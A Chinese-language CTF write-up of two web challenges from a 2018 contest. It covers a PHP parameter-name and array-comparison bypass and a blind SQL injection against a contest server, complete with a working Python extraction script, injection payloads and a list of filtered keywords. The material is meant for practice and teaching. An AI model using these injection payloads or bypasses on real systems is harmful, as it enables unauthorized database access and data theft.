2018安恒5月赛(web)

前言

实训期间难得的2天假期,考虑到自身实力的不足,还暂时无法融入大队伍.
抓紧练习.期待大佬们RCTF发挥出色.

正文

web1 奇怪的恐龙特性

给了源码:

<?php
highlight_file(__FILE__);
ini_set("display_error", false);
error_reporting(0);
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
    echo 'A_A,have fun';
}
elseif ($str<9999999999) {
    echo 'A_A,too small';
}
elseif ((string)$str>0) {
    echo 'A_A,too big';
}
else{
    echo file_get_contents('flag.php');
}

 ?>

要求传入一个变量A_A且符合后面的数字判断.
卡了很久,后来在这篇博客:https://www.waitalone.cn/security-scripts-game.html里第8题看到了关键信息:

手册上说.不是合法的运算符,会自动替换成_.而$_SERVER['QUERY_STRING']由于是用户传入的变量,不会更改.

php
或者直接对_进行url编码来绕过$_SERVER['QUERY_STRING']
第二步:
经过测试,我发现

$a = [1,2,3];
$b = 555;
var_dump($a>$b);

竟然为True!
继续测试:

$a = [1111,2,3];
$b = [555,444,9,10];
var_dump($a>$b);// false

$a = [1111,2,3];
$b = [555,444,9];
var_dump($a>$b);//true

$a = [1111,2,3];
$b = '555';
var_dump($a>$b);//true

$a = [1111,2,3];
$b = ['555x',2,3];
var_dump($a>$b);//true

推测两个数组比较先看键值对个数,个数多的就大;再看第一组键值对,哪个大(先判断能不能转数字.如果都不能,则按字典序排),它对应的数组就大.

其实也可以考虑数组内比较是直接按ascii序来的.

但是会显示警告Notice: Array to string conversion.我一开始以为数字和数组做比较时会把数字转成数组形式,现在看来不是.应该是数组和数字都转向字符串.但是数组会转成什么形式的字符串就不得而知了.希望师傅们可以留下你的见解.

web2 不能注册的admin

解题脚本

# coding=utf-8
import requests
import string
import sys
x = string.digits+string.ascii_letters+"{@_}"
url = 'http://101.71.29.5:10005/json.php'
ans = ''
for j in range(len(ans)+1,20):
    for i in range(len(x)):
        payload = 'admin" |if(mid(database(),%d,1)>"%s",1,0) #' % (j,x[i])
        data= {
            'id':payload
        }
        r = requests.post(url,data=data)
        if "admin" in r.text.encode('utf-8'):
            ans += x[i]
            print ans
            print r.text.encode('utf-8')
            sys.stdout.flush()
            break
        else:
            pass
#database: 5monthweb

分析

原页面有ajax操作,分析后发现是想json.php post id值.使用admin"#成功闭合
使用"会有相应报错

Fatal error: Uncaught exception 'Exception' with message 'You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right syntax to use near '"""' at line 1 query:
 select * from article where title ="""' in E:\apache2\htdocs\MysqliDb.php:1926 
#1 E:\apache2\htdocs\MysqliDb.php(550): MysqliDb->rawQuery('select * from a...', NULL) 
#2 E:\apache2\htdocs\json.php(27): MysqliDb->rawQueryOne('select * from a...') 
#3 {main} thrown in E:\apache2\htdocs\MysqliDb.php on line 1926

第一眼看过去 mysqli以为要宽字节注入,实际上闭合语句显示是"
fuzz 结果:

no:['ord', 'or', 'union', 'select', 'and', 'from', 'order by', 'substr', "'", '*', '&&', 'information_schema']
yes:[' ', '%', 'group_concat', '(', '"', 'where', 'if', ' ', '||', '#', '--+', '_', '`', '/', '<>', 'in', '=', 'mid', 'like', 'database()', '>', 'user()', 'tables', 'limit']

可以看到union,select都被过滤了.而且information.schema也过滤了.接下来我们有2个思路:

  1. 根据mysql报错语句,爆库名,爆表名,爆字段名.
  2. 盲注走起.

方法一 可以参考这篇文章:http://www.zjicmisa.org/index.php/archives/149/
我尝试了一下,都没有成功,而且字段名猜不出来,后面有时间再测试吧

方法二:
根据N1CTF的几个sql注入题,可以构造 admin"|if(mid(database(),1,1)>"0",1,0)#
可以跑出来数据库5monthweb.
接下来根据报错我们知道表名article,字段名有:id,title.
因此猜测还包含content字段.
我们用admin" |if(mid(content,1,1)>"0",1,0)#跑,就看到flag了

问题

脚本有一点小问题,就是mid函数到字段尾的处理.如果您运行的话,会看到在原答案的基础上有一堆0.

战果

hhh
觉得我写的可以,还请您关注我的个人静态博客:https://cntjuscswyz.github.io/
ありがとう

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值